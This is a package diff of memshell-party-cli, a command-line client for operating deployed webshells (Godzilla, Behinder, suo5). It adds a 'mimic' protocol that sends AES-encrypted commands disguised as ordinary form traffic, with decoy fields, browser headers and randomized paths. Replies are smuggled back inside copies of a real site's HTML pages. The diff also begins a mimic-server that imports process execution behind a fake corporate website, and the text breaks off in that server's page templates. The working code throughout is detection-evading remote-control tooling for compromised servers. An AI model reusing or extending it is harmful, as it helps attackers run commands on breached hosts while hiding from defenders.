memshell-party-cli 0.3.3 → 0.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/cli.js CHANGED
@@ -508,15 +508,25 @@ function postRaw(url, body, options = {}) {
508
508
  if (!isHttps && target.protocol !== "http:") {
509
509
  return Promise.reject(new HttpRequestError(`unsupported protocol: ${target.protocol}`, url));
510
510
  }
511
+ let proxy = null;
512
+ if (!isHttps && process.env.MEMPARTY_PROXY) {
513
+ try {
514
+ proxy = new URL(process.env.MEMPARTY_PROXY);
515
+ } catch {
516
+ return Promise.reject(
517
+ new HttpRequestError(`invalid MEMPARTY_PROXY: ${process.env.MEMPARTY_PROXY}`, url)
518
+ );
519
+ }
520
+ }
511
521
  return new Promise((resolve2, reject) => {
512
522
  const started = Date.now();
513
523
  const transport = isHttps ? https : http;
514
524
  const req = transport.request(
515
525
  {
516
526
  method: "POST",
517
- hostname: target.hostname,
518
- port: target.port || (isHttps ? 443 : 80),
519
- path: `${target.pathname}${target.search}`,
527
+ hostname: proxy ? proxy.hostname : target.hostname,
528
+ port: proxy ? proxy.port || 8080 : target.port || (isHttps ? 443 : 80),
529
+ path: proxy ? target.toString() : `${target.pathname}${target.search}`,
520
530
  // agent:false — never reuse a pooled socket. A shell server may close
521
531
  // the connection right after an empty response, and reusing such a
522
532
  // socket surfaces as a spurious ECONNRESET on the next probe.
@@ -1491,18 +1501,434 @@ async function testSuo5(url, options = {}) {
1491
1501
  };
1492
1502
  }
1493
1503
 
1494
- // src/core/oplog.ts
1495
- import { appendFileSync, existsSync, mkdirSync, readFileSync as readFileSync2 } from "fs";
1504
+ // src/connect/mimic.ts
1505
+ import { randomInt as randomInt2 } from "crypto";
1506
+
1507
+ // src/core/site-profile.ts
1508
+ import { existsSync, mkdirSync, readdirSync, readFileSync as readFileSync2, writeFileSync } from "fs";
1496
1509
  import { homedir as homedir2 } from "os";
1497
- import { dirname, join as join2 } from "path";
1510
+ import { join as join2 } from "path";
1511
+ function profileTemplates(profile) {
1512
+ if (Array.isArray(profile.templates) && profile.templates.length > 0) {
1513
+ return profile.templates;
1514
+ }
1515
+ if (profile.template) {
1516
+ return [
1517
+ {
1518
+ title: profile.title ?? "",
1519
+ template: profile.template,
1520
+ contentType: profile.contentType ?? "text/html; charset=utf-8"
1521
+ }
1522
+ ];
1523
+ }
1524
+ return [];
1525
+ }
1526
+ function profileRequests(profile) {
1527
+ if (!profile.request) return [];
1528
+ return Array.isArray(profile.request) ? profile.request : [profile.request];
1529
+ }
1530
+ function pickRequestShape(requests) {
1531
+ if (requests.length === 0) return void 0;
1532
+ const total = requests.reduce((s, r) => s + (r.weight ?? 1), 0);
1533
+ let roll = Math.random() * total;
1534
+ for (const r of requests) {
1535
+ roll -= r.weight ?? 1;
1536
+ if (roll <= 0) return r;
1537
+ }
1538
+ return requests[requests.length - 1];
1539
+ }
1540
+ var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
1541
+ function profilesDir() {
1542
+ const override = process.env.MEMPARTY_PROFILES;
1543
+ return override ? override : join2(homedir2(), ".memparty", "profiles");
1544
+ }
1545
+ function profilePath(name) {
1546
+ return join2(profilesDir(), `${name}.json`);
1547
+ }
1548
+ function validateProfile(profile) {
1549
+ if (!NAME_RE.test(profile.name)) {
1550
+ throw new Error(
1551
+ `invalid profile name ${JSON.stringify(profile.name)} \u2014 use letters, digits, '.', '_', '-'`
1552
+ );
1553
+ }
1554
+ if (!profile.site || !/^https?:\/\//.test(profile.site)) {
1555
+ throw new Error(`profile.site must be an http(s) origin (got ${JSON.stringify(profile.site)})`);
1556
+ }
1557
+ const templates = profileTemplates(profile);
1558
+ if (templates.length === 0) {
1559
+ throw new Error("profile needs at least one template (templates[] or legacy template)");
1560
+ }
1561
+ templates.forEach((t, i) => {
1562
+ if (!t.template || !/<!doctype\s+html|<html|<head/i.test(t.template)) {
1563
+ throw new Error(`templates[${i}].template must be a full HTML page`);
1564
+ }
1565
+ if (!t.contentType) {
1566
+ throw new Error(`templates[${i}].contentType is required (e.g. "text/html; charset=utf-8")`);
1567
+ }
1568
+ });
1569
+ if (!Array.isArray(profile.paths)) {
1570
+ throw new Error("profile.paths must be an array (may be empty)");
1571
+ }
1572
+ for (const [ri, req] of profileRequests(profile).entries()) {
1573
+ if (!req.secretField || !/^[A-Za-z0-9_.-]+$/.test(req.secretField)) {
1574
+ throw new Error(`request[${ri}].secretField must be a form-field name`);
1575
+ }
1576
+ if (req.secretIn !== void 0 && !["body", "query", "header"].includes(req.secretIn)) {
1577
+ throw new Error(`request[${ri}].secretIn must be body | query | header`);
1578
+ }
1579
+ for (const [i, f] of (req.fields ?? []).entries()) {
1580
+ if (!f.name || !/^[A-Za-z0-9_.-]+$/.test(f.name)) {
1581
+ throw new Error(`request[${ri}].fields[${i}].name must be a form-field name`);
1582
+ }
1583
+ if (f.name === req.secretField) {
1584
+ throw new Error(`request[${ri}].fields[${i}] duplicates secretField`);
1585
+ }
1586
+ }
1587
+ }
1588
+ }
1589
+ function saveProfile(profile) {
1590
+ validateProfile(profile);
1591
+ const dir = profilesDir();
1592
+ mkdirSync(dir, { recursive: true });
1593
+ writeFileSync(profilePath(profile.name), `${JSON.stringify(profile, null, 2)}
1594
+ `, "utf8");
1595
+ }
1596
+ function loadProfile(name) {
1597
+ const path = profilePath(name);
1598
+ if (!existsSync(path)) {
1599
+ throw new Error(
1600
+ `unknown profile ${JSON.stringify(name)} \u2014 scaffold one with 'memparty profile init ${name} --site <origin>' and fill in the template/paths by hand (stored: ${listProfiles().join(", ") || "(none)"})`
1601
+ );
1602
+ }
1603
+ const profile = JSON.parse(readFileSync2(path, "utf8"));
1604
+ validateProfile(profile);
1605
+ return profile;
1606
+ }
1607
+ function listProfiles() {
1608
+ const dir = profilesDir();
1609
+ if (!existsSync(dir)) return [];
1610
+ return readdirSync(dir).filter((f) => f.endsWith(".json")).map((f) => f.slice(0, -".json".length)).sort();
1611
+ }
1612
+ function profileSkeleton(name, site) {
1613
+ return {
1614
+ name,
1615
+ site: site.replace(/\/+$/, ""),
1616
+ createdAt: (/* @__PURE__ */ new Date()).toISOString(),
1617
+ templates: [
1618
+ {
1619
+ title: "",
1620
+ template: '<!DOCTYPE html>\n<html>\n<head>\n<meta charset="UTF-8">\n<title></title>\n</head>\n<body>\n</body>\n</html>\n',
1621
+ contentType: "text/html; charset=utf-8"
1622
+ }
1623
+ ],
1624
+ paths: []
1625
+ };
1626
+ }
1627
+
1628
+ // src/connect/mimic-shared.ts
1629
+ import { randomBytes as randomBytes3, randomInt, randomUUID } from "crypto";
1630
+ function deriveAesKey(secretKey) {
1631
+ return md5Key16(secretKey);
1632
+ }
1633
+ function renderFieldValue(value) {
1634
+ return value.replaceAll(
1635
+ /\{\{hex:(\d+)\}\}/g,
1636
+ (_m, n) => randomBytes3(Math.ceil(Number(n) / 2)).toString("hex").slice(0, Number(n))
1637
+ ).replaceAll(
1638
+ /\{\{b64:(\d+)\}\}/g,
1639
+ (_m, n) => randomBytes3(Math.ceil(Number(n) * 3 / 4)).toString("base64url").slice(0, Number(n))
1640
+ ).replaceAll(/\{\{uuid\}\}/g, () => randomUUID()).replaceAll(/\{\{ts\}\}/g, () => String(Math.floor(Date.now() / 1e3))).replaceAll(
1641
+ /\{\{int:(\d+):(\d+)\}\}/g,
1642
+ (_m, a, b) => String(randomInt(Number(a), Number(b) + 1))
1643
+ );
1644
+ }
1645
+ function deriveLeftMarker(pass, secretKey) {
1646
+ return `var Re${md5Hex(pass + secretKey).slice(0, 5)}_config="`;
1647
+ }
1648
+ var RIGHT_MARKER = '";';
1649
+ function encryptField(plaintext, aesKey) {
1650
+ return aesEcbEncrypt(plaintext, aesKey).toString("base64");
1651
+ }
1652
+ function decryptField(b64, aesKey) {
1653
+ return aesEcbDecrypt(Buffer.from(b64, "base64"), aesKey);
1654
+ }
1655
+ function buildFormBody(fields) {
1656
+ return Buffer.from(
1657
+ fields.map((f) => `${f.name}=${encodeURIComponent(f.value)}`).join("&"),
1658
+ "utf8"
1659
+ );
1660
+ }
1661
+ function decodeRequestBody(body, pass, aesKey) {
1662
+ const text = body.toString("utf8");
1663
+ for (const pair of text.split("&")) {
1664
+ const eq = pair.indexOf("=");
1665
+ if (eq <= 0) continue;
1666
+ if (pair.slice(0, eq) !== pass) continue;
1667
+ const value = decodeURIComponent(pair.slice(eq + 1));
1668
+ try {
1669
+ return decryptField(value, aesKey);
1670
+ } catch {
1671
+ return null;
1672
+ }
1673
+ }
1674
+ return null;
1675
+ }
1676
+ function injectIntoTemplate(templateHtml, b64Cipher, leftMarker) {
1677
+ const script = `<script>${leftMarker}${b64Cipher}${RIGHT_MARKER}</script>`;
1678
+ const idx = templateHtml.toLowerCase().lastIndexOf("</body>");
1679
+ if (idx === -1) return templateHtml + script;
1680
+ return templateHtml.slice(0, idx) + script + templateHtml.slice(idx);
1681
+ }
1682
+ function extractFromHtml(html, leftMarker) {
1683
+ const start = html.indexOf(leftMarker);
1684
+ if (start === -1) return null;
1685
+ const valueStart = start + leftMarker.length;
1686
+ const end = html.indexOf(RIGHT_MARKER, valueStart);
1687
+ if (end === -1) return null;
1688
+ return html.slice(valueStart, end);
1689
+ }
1690
+
1691
+ // src/connect/mimic.ts
1692
+ var BROWSER_HEADERS = {
1693
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36",
1694
+ Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
1695
+ "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
1696
+ "Content-Type": "application/x-www-form-urlencoded"
1697
+ };
1698
+ function buildContext(req) {
1699
+ const pass = req.conn.pass ?? "pass";
1700
+ const secretKey = req.conn.key ?? "key";
1701
+ let profile;
1702
+ const profileName = req.options.profile ?? req.conn.profile;
1703
+ if (profileName) {
1704
+ profile = loadProfile(profileName);
1705
+ }
1706
+ return {
1707
+ pass,
1708
+ aesKey: deriveAesKey(secretKey),
1709
+ leftMarker: deriveLeftMarker(pass, secretKey),
1710
+ profile,
1711
+ dynamicPath: req.options.dynamicPath ?? false
1712
+ };
1713
+ }
1714
+ function pickRequestUrl(connUrl, ctx) {
1715
+ if (!ctx.dynamicPath || !ctx.profile || ctx.profile.paths.length === 0) {
1716
+ return connUrl;
1717
+ }
1718
+ const origin = new URL(connUrl).origin;
1719
+ const dir = ctx.profile.paths[randomInt2(ctx.profile.paths.length)];
1720
+ const slug = randomString(8).toLowerCase();
1721
+ return `${origin}${dir}${slug}`;
1722
+ }
1723
+ async function roundTrip(req, ctx, plaintext) {
1724
+ let requestUrl = pickRequestUrl(req.conn.url, ctx);
1725
+ const shape = pickRequestShape(ctx.profile ? profileRequests(ctx.profile) : []);
1726
+ const secretField = shape?.secretField ?? ctx.pass;
1727
+ const secretIn = shape?.secretIn ?? "body";
1728
+ const cipher = encryptField(Buffer.from(plaintext, "utf8"), ctx.aesKey);
1729
+ const decoys = (shape?.fields ?? []).map((f) => ({
1730
+ name: f.name,
1731
+ value: renderFieldValue(f.value)
1732
+ }));
1733
+ let body;
1734
+ const extraHeaders = {};
1735
+ if (secretIn === "query") {
1736
+ const qs = buildFormBody([...decoys, { name: secretField, value: cipher }]).toString();
1737
+ requestUrl += (requestUrl.includes("?") ? "&" : "?") + qs;
1738
+ body = Buffer.alloc(0);
1739
+ } else if (secretIn === "header") {
1740
+ extraHeaders[secretField] = cipher;
1741
+ body = buildFormBody(decoys);
1742
+ } else {
1743
+ body = buildFormBody([...decoys, { name: secretField, value: cipher }]);
1744
+ }
1745
+ const headers = buildHeaders({ ...BROWSER_HEADERS, ...extraHeaders }, req.common);
1746
+ let res;
1747
+ try {
1748
+ res = await postRaw(requestUrl, body, {
1749
+ headers,
1750
+ timeoutMs: req.common.timeoutMs,
1751
+ insecure: req.common.insecure
1752
+ });
1753
+ } catch (err) {
1754
+ return {
1755
+ ok: false,
1756
+ error: err instanceof Error ? err.message : String(err),
1757
+ requestUrl,
1758
+ status: 0,
1759
+ durationMs: 0
1760
+ };
1761
+ }
1762
+ if (res.status !== 200) {
1763
+ return {
1764
+ ok: false,
1765
+ error: `HTTP ${res.status} \u2014 the endpoint did not answer like a mimic shell`,
1766
+ requestUrl,
1767
+ status: res.status,
1768
+ durationMs: res.durationMs
1769
+ };
1770
+ }
1771
+ const b64 = extractFromHtml(res.body.toString("utf8"), ctx.leftMarker);
1772
+ if (b64 === null) {
1773
+ return {
1774
+ ok: false,
1775
+ error: "response marker not found \u2014 wrong pass/key, or the page is not a mimic shell",
1776
+ requestUrl,
1777
+ status: res.status,
1778
+ durationMs: res.durationMs
1779
+ };
1780
+ }
1781
+ try {
1782
+ const output = decryptField(b64, ctx.aesKey).toString("utf8");
1783
+ return { ok: true, output, requestUrl, status: res.status, durationMs: res.durationMs };
1784
+ } catch {
1785
+ return {
1786
+ ok: false,
1787
+ error: "response decryption failed \u2014 wrong key?",
1788
+ requestUrl,
1789
+ status: res.status,
1790
+ durationMs: res.durationMs
1791
+ };
1792
+ }
1793
+ }
1794
+ var mimicProtocol = {
1795
+ name: "mimic",
1796
+ description: "site-mimicking demo protocol (profile-driven HTML skin + dynamic paths)",
1797
+ async test(req) {
1798
+ const started = Date.now();
1799
+ const tool = "mimic";
1800
+ const url = req.conn.url;
1801
+ let ctx;
1802
+ try {
1803
+ ctx = buildContext(req);
1804
+ } catch (err) {
1805
+ return {
1806
+ ok: false,
1807
+ tool,
1808
+ url,
1809
+ error: err instanceof Error ? err.message : String(err),
1810
+ durationMs: Date.now() - started
1811
+ };
1812
+ }
1813
+ const canary = randomString(12);
1814
+ const r = await roundTrip(req, ctx, `echo ${canary}`);
1815
+ if (!r.ok) {
1816
+ return { ok: false, tool, url, error: r.error, durationMs: Date.now() - started };
1817
+ }
1818
+ if (!r.output.includes(canary)) {
1819
+ return {
1820
+ ok: false,
1821
+ tool,
1822
+ url,
1823
+ error: "round-trip mismatch \u2014 endpoint decrypted but did not execute the canary",
1824
+ durationMs: Date.now() - started
1825
+ };
1826
+ }
1827
+ const profileNote = ctx.profile ? `profile=${ctx.profile.name}` : "no profile";
1828
+ const pathNote = r.requestUrl === url ? "fixed path" : `dynamic path ${r.requestUrl}`;
1829
+ return {
1830
+ ok: true,
1831
+ tool,
1832
+ url,
1833
+ detail: `round-trip ok (${profileNote}; ${pathNote})`,
1834
+ durationMs: Date.now() - started
1835
+ };
1836
+ },
1837
+ async exec(req, command) {
1838
+ const started = Date.now();
1839
+ const tool = "mimic";
1840
+ const url = req.conn.url;
1841
+ let ctx;
1842
+ try {
1843
+ ctx = buildContext(req);
1844
+ } catch (err) {
1845
+ return {
1846
+ ok: false,
1847
+ tool,
1848
+ url,
1849
+ command,
1850
+ error: err instanceof Error ? err.message : String(err),
1851
+ durationMs: Date.now() - started
1852
+ };
1853
+ }
1854
+ const r = await roundTrip(req, ctx, command);
1855
+ if (!r.ok) {
1856
+ return { ok: false, tool, url, command, error: r.error, durationMs: Date.now() - started };
1857
+ }
1858
+ return { ok: true, tool, url, command, output: r.output, durationMs: Date.now() - started };
1859
+ }
1860
+ };
1861
+
1862
+ // src/connect/registry.ts
1863
+ var protocols = /* @__PURE__ */ new Map();
1864
+ function registerProtocol(protocol) {
1865
+ protocols.set(protocol.name, protocol);
1866
+ }
1867
+ function getProtocol(name) {
1868
+ return protocols.get(name);
1869
+ }
1870
+ function protocolNames(capability) {
1871
+ const all = [...protocols.values()];
1872
+ const usable = capability ? all.filter((p) => p[capability] !== void 0) : all;
1873
+ return usable.map((p) => p.name);
1874
+ }
1875
+ function requireProtocol(name) {
1876
+ const protocol = getProtocol(name);
1877
+ if (!protocol) {
1878
+ throw new Error(`unknown protocol ${JSON.stringify(name)} (available: ${protocolNames().join(", ")})`);
1879
+ }
1880
+ return protocol;
1881
+ }
1882
+ function unsupportedMessage(protocol, capability) {
1883
+ return `protocol '${protocol.name}' does not support ${capability}`;
1884
+ }
1885
+ var godzillaProtocol = {
1886
+ name: "godzilla",
1887
+ description: "Godzilla JAVA_AES_BASE64 shell",
1888
+ test: ({ conn, common }) => testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common),
1889
+ exec: ({ conn, common, options }, command) => execGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", command, {
1890
+ ...common,
1891
+ os: options.os
1892
+ }),
1893
+ upload: ({ conn, common, options }, remotePath, data) => uploadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, data, {
1894
+ ...common,
1895
+ remoteCharset: options.remoteCharset
1896
+ }),
1897
+ download: ({ conn, common, options }, remotePath) => downloadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, {
1898
+ ...common,
1899
+ remoteCharset: options.remoteCharset
1900
+ })
1901
+ };
1902
+ var behinderProtocol = {
1903
+ name: "behinder",
1904
+ description: "Behinder AES shell",
1905
+ test: ({ conn, common }) => testBehinder(conn.url, conn.pass ?? "rebeyond", common),
1906
+ exec: ({ conn, common }, command) => execBehinder(conn.url, conn.pass ?? "rebeyond", command, common),
1907
+ upload: ({ conn, common }, remotePath, data) => uploadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, data, common),
1908
+ download: ({ conn, common }, remotePath) => downloadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, common)
1909
+ };
1910
+ var suo5Protocol = {
1911
+ name: "suo5",
1912
+ description: "suo5 HTTP tunnel (connect test only)",
1913
+ test: ({ conn, common, options }) => testSuo5(conn.url, { ...common, mode: options.suo5Mode })
1914
+ };
1915
+ registerProtocol(godzillaProtocol);
1916
+ registerProtocol(behinderProtocol);
1917
+ registerProtocol(suo5Protocol);
1918
+ registerProtocol(mimicProtocol);
1919
+
1920
+ // src/core/oplog.ts
1921
+ import { appendFileSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync3 } from "fs";
1922
+ import { homedir as homedir3 } from "os";
1923
+ import { dirname, join as join3 } from "path";
1498
1924
  var OUTPUT_LIMIT = 2e3;
1499
1925
  function opLogPath() {
1500
- return process.env.MEMPARTY_OPLOG ?? join2(homedir2(), ".memparty", "operations.jsonl");
1926
+ return process.env.MEMPARTY_OPLOG ?? join3(homedir3(), ".memparty", "operations.jsonl");
1501
1927
  }
1502
1928
  function logOp(entry) {
1503
1929
  try {
1504
1930
  const file = opLogPath();
1505
- mkdirSync(dirname(file), { recursive: true });
1931
+ mkdirSync2(dirname(file), { recursive: true });
1506
1932
  appendFileSync(file, `${JSON.stringify({ ts: (/* @__PURE__ */ new Date()).toISOString(), ...entry })}
1507
1933
  `);
1508
1934
  } catch {
@@ -1512,8 +1938,8 @@ function readOps(filter = {}) {
1512
1938
  let entries = [];
1513
1939
  try {
1514
1940
  const file = opLogPath();
1515
- if (existsSync(file)) {
1516
- for (const line of readFileSync2(file, "utf8").split("\n")) {
1941
+ if (existsSync2(file)) {
1942
+ for (const line of readFileSync3(file, "utf8").split("\n")) {
1517
1943
  const trimmed = line.trim();
1518
1944
  if (!trimmed) continue;
1519
1945
  try {
@@ -1558,25 +1984,25 @@ function formatOp(e) {
1558
1984
  }
1559
1985
 
1560
1986
  // src/core/targets.ts
1561
- import { existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync3, writeFileSync } from "fs";
1562
- import { homedir as homedir3 } from "os";
1563
- import { dirname as dirname2, join as join3 } from "path";
1564
- var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
1987
+ import { existsSync as existsSync3, mkdirSync as mkdirSync3, readFileSync as readFileSync4, writeFileSync as writeFileSync2 } from "fs";
1988
+ import { homedir as homedir4 } from "os";
1989
+ import { dirname as dirname2, join as join4 } from "path";
1990
+ var NAME_RE2 = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
1565
1991
  function checkName(kind, name) {
1566
- if (!NAME_RE.test(name)) {
1992
+ if (!NAME_RE2.test(name)) {
1567
1993
  throw new Error(
1568
1994
  `invalid ${kind} name ${JSON.stringify(name)} \u2014 use letters, digits, '.', '_', '-'`
1569
1995
  );
1570
1996
  }
1571
1997
  }
1572
1998
  function targetStorePath() {
1573
- return process.env.MEMPARTY_TARGETS ?? join3(homedir3(), ".memparty", "targets.json");
1999
+ return process.env.MEMPARTY_TARGETS ?? join4(homedir4(), ".memparty", "targets.json");
1574
2000
  }
1575
2001
  function listProjects() {
1576
2002
  try {
1577
2003
  const file = targetStorePath();
1578
- if (!existsSync2(file)) return {};
1579
- const data = JSON.parse(readFileSync3(file, "utf8"));
2004
+ if (!existsSync3(file)) return {};
2005
+ const data = JSON.parse(readFileSync4(file, "utf8"));
1580
2006
  if (data !== null && typeof data === "object" && !Array.isArray(data)) {
1581
2007
  return data;
1582
2008
  }
@@ -1589,8 +2015,8 @@ function getProject(name) {
1589
2015
  }
1590
2016
  function writeProjects(projects) {
1591
2017
  const file = targetStorePath();
1592
- mkdirSync2(dirname2(file), { recursive: true });
1593
- writeFileSync(file, `${JSON.stringify(projects, null, 2)}
2018
+ mkdirSync3(dirname2(file), { recursive: true });
2019
+ writeFileSync2(file, `${JSON.stringify(projects, null, 2)}
1594
2020
  `, { mode: 384 });
1595
2021
  }
1596
2022
  function saveProjectMeta(name, meta) {
@@ -1697,7 +2123,8 @@ function autoSaveShell(conn) {
1697
2123
  headerName: conn.headerName,
1698
2124
  headerValue: conn.headerValue,
1699
2125
  extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
1700
- insecure: conn.insecure
2126
+ insecure: conn.insecure,
2127
+ profile: conn.profile
1701
2128
  });
1702
2129
  return `${projectName}/${shellName}`;
1703
2130
  }
@@ -1739,7 +2166,7 @@ function resolveConnection(ref, flags) {
1739
2166
  throw new Error("no URL \u2014 pass --url or a saved target name");
1740
2167
  }
1741
2168
  if (!tool) {
1742
- throw new Error("--tool is required (godzilla | behinder | suo5)");
2169
+ throw new Error("--tool is required \u2014 see the command's --help for available protocols");
1743
2170
  }
1744
2171
  return {
1745
2172
  url,
@@ -1750,6 +2177,7 @@ function resolveConnection(ref, flags) {
1750
2177
  headerValue: flags.headerValue ?? stored?.headerValue,
1751
2178
  extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },
1752
2179
  insecure: flags.insecure ?? stored?.insecure,
2180
+ profile: flags.profile ?? stored?.profile,
1753
2181
  targetName
1754
2182
  };
1755
2183
  }
@@ -1768,10 +2196,8 @@ function parseExtraHeaders(lines) {
1768
2196
  }
1769
2197
  function registerConnectCommand(program) {
1770
2198
  program.command("connect").description(
1771
- "Test whether a deployed webshell (Godzilla / Behinder / suo5) is alive and the credentials work"
1772
- ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
1773
- new Option("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
1774
- ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
2199
+ "Test whether a deployed webshell is alive and the credentials work"
2200
+ ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new Option("-t, --tool <tool>", "shell protocol").choices(protocolNames())).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key", "key").option(
1775
2201
  "--header-name <name>",
1776
2202
  "gate header name reported by gen (shellToolConfig.headerName)"
1777
2203
  ).option(
@@ -1779,15 +2205,17 @@ function registerConnectCommand(program) {
1779
2205
  "gate header value reported by gen (shellToolConfig.headerValue)"
1780
2206
  ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').addOption(
1781
2207
  new Option("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
1782
- ).option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
2208
+ ).option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
1783
2209
  "after",
1784
2210
  `
1785
2211
  Examples:
1786
2212
  $ memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key \\
1787
- --header-value qSGAJScj
2213
+ --header-value my-secret-token
1788
2214
  $ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond \\
1789
- --header-value YdwTyuQr
2215
+ --header-value my-secret-token
1790
2216
  $ memparty connect -u http://target/suo5.jsp -t suo5
2217
+ $ memparty connect -u http://target/ -t mimic --pass pass --key key \\
2218
+ --profile target-site --dynamic-path
1791
2219
  $ memparty connect web222 # saved target, see 'memparty list'
1792
2220
  $ memparty connect -u https://target/shell.jsp -t godzilla -k --json
1793
2221
 
@@ -1811,7 +2239,8 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
1811
2239
  headerName: opts.headerName,
1812
2240
  headerValue: opts.headerValue,
1813
2241
  extraHeaders: parseExtraHeaders(opts.header),
1814
- insecure: opts.insecure
2242
+ insecure: opts.insecure,
2243
+ profile: opts.profile
1815
2244
  });
1816
2245
  } catch (err) {
1817
2246
  reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
@@ -1826,21 +2255,18 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
1826
2255
  insecure: conn.insecure
1827
2256
  };
1828
2257
  let result;
1829
- switch (conn.tool) {
1830
- case "godzilla":
1831
- result = await testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common);
1832
- break;
1833
- case "behinder":
1834
- result = await testBehinder(conn.url, conn.pass ?? "rebeyond", common);
1835
- break;
1836
- case "suo5":
1837
- result = await testSuo5(conn.url, { ...common, mode: opts.suo5Mode });
1838
- break;
1839
- default:
1840
- process.stderr.write(`Error: unknown tool ${String(conn.tool)}
1841
- `);
1842
- process.exitCode = 1;
1843
- return;
2258
+ try {
2259
+ const protocol = requireProtocol(conn.tool);
2260
+ const options = {
2261
+ suo5Mode: opts.suo5Mode,
2262
+ profile: conn.profile,
2263
+ dynamicPath: opts.dynamicPath
2264
+ };
2265
+ result = await protocol.test({ conn, common, options });
2266
+ } catch (err) {
2267
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
2268
+ process.exitCode = 1;
2269
+ return;
1844
2270
  }
1845
2271
  let savedAs;
1846
2272
  if (result.ok && conn.targetName === void 0 && opts.save !== false) {
@@ -1877,6 +2303,217 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
1877
2303
  });
1878
2304
  }
1879
2305
 
2306
+ // src/connect/mimic-server.ts
2307
+ import { exec } from "child_process";
2308
+ import http2 from "http";
2309
+ function tryDecrypt(b64, aesKey) {
2310
+ try {
2311
+ return decryptField(b64, aesKey);
2312
+ } catch {
2313
+ return null;
2314
+ }
2315
+ }
2316
+ var SITE_TITLE = "\u4E91\u67A2\u79D1\u6280 - \u4F01\u4E1A\u6570\u5B57\u5316\u670D\u52A1\u5546";
2317
+ var NAV = `<nav><a href="/">\u9996\u9875</a> <a href="/products/">\u4EA7\u54C1\u4E2D\u5FC3</a> <a href="/news/">\u65B0\u95FB\u52A8\u6001</a> <a href="/about/">\u5173\u4E8E\u6211\u4EEC</a></nav>`;
2318
+ var PAGES = {
2319
+ "/": `<!DOCTYPE html>
2320
+ <html lang="zh-CN">
2321
+ <head>
2322
+ <meta charset="UTF-8">
2323
+ <title>${SITE_TITLE}</title>
2324
+ </head>
2325
+ <body>
2326
+ <header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
2327
+ <main>
2328
+ <h2>\u8BA9\u4F01\u4E1A\u6570\u636E\u6D41\u52A8\u8D77\u6765</h2>
2329
+ <p>\u4E91\u67A2\u79D1\u6280\u4E3A\u4E2D\u578B\u4F01\u4E1A\u63D0\u4F9B\u6570\u636E\u96C6\u6210\u3001\u62A5\u8868\u53EF\u89C6\u5316\u4E0E\u6D41\u7A0B\u81EA\u52A8\u5316\u670D\u52A1\u3002</p>
2330
+ <ul>
2331
+ <li><a href="/products/yunetl.html">\u4E91\u67A2 ETL \u5E73\u53F0</a></li>
2332
+ <li><a href="/products/yunbi.html">\u4E91\u67A2 BI \u62A5\u8868</a></li>
2333
+ <li><a href="/news/2024/release-notes.html">2024 \u4EA7\u54C1\u53D1\u5E03\u8BF4\u660E</a></li>
2334
+ </ul>
2335
+ </main>
2336
+ <footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280 \u4EACICP\u59072024000000\u53F7</footer>
2337
+ </body>
2338
+ </html>`,
2339
+ "/products/": `<!DOCTYPE html>
2340
+ <html lang="zh-CN">
2341
+ <head>
2342
+ <meta charset="UTF-8">
2343
+ <title>\u4EA7\u54C1\u4E2D\u5FC3 - \u4E91\u67A2\u79D1\u6280</title>
2344
+ </head>
2345
+ <body>
2346
+ <header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
2347
+ <main><h2>\u4EA7\u54C1\u4E2D\u5FC3</h2><p>ETL / BI / \u6D41\u7A0B\u81EA\u52A8\u5316\u4E09\u5927\u4EA7\u54C1\u7EBF\u3002</p></main>
2348
+ <footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280</footer>
2349
+ </body>
2350
+ </html>`,
2351
+ "/news/": `<!DOCTYPE html>
2352
+ <html lang="zh-CN">
2353
+ <head>
2354
+ <meta charset="UTF-8">
2355
